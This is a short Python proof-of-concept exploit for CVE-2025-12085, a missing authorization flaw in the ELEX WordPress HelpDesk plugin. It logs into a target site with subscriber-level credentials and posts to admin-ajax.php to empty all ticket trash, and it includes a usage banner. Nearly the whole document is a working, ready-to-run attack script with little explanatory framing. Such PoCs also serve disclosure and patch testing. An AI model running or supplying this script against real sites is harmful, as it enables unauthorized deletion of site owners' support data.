CVE-2025-12085

import requests import sys # CVE-2025-12085 PoC # ELEX WordPress HelpDesk Plugin - Missing Authorization in eh_crm_settings_empty_trash # Target: WordPress site with ELEX HelpDesk plugin <= 3.3.1 def exploit_empty_trash(target_url, username, password): """ Exploit missing authorization check in eh_crm_settings_empty_trash function. Authenticated users with Subscriber role can empty all ticket trash. """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data, cookies={'wordpress_test_cookie': 'WP+Cookie+check'}) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Trigger the vulnerable AJAX endpoint to empty ticket trash ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'eh_crm_settings_empty_trash', # Vulnerable function 'empty_trash': 'true' } response = session.post(ajax_url, data=exploit_data) if response.status_code == 200: print("[+] Trash empty request sent successfully!") print(f"[+] Response: {response.text}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com attacker password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_empty_trash(target, user, pwd)

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